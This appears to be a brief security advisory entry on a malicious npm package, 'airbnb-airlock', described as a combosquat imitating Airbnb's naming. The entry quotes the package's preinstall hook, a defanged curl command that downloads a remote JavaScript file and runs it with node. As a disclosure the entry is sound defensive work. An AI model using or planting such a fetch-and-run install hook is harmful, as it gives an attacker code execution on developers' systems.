airbnb-airlock@99.0.0

Analysis

A combosquat package impersonating Airbnb's naming scheme (airbnb-airlock). The package contains no functional code — only a package.json declaring a preinstall lifecycle hook that runs 'curl hxxps://poc[.]amanrawat[.]com/hehe[.]js -o index.js && node index.js'. On npm install, this downloads a remote JavaScript payload from poc[.]amanrawat[.]com and executes it with Node.js, giving the attacker arbitrary code execution on the installer's system.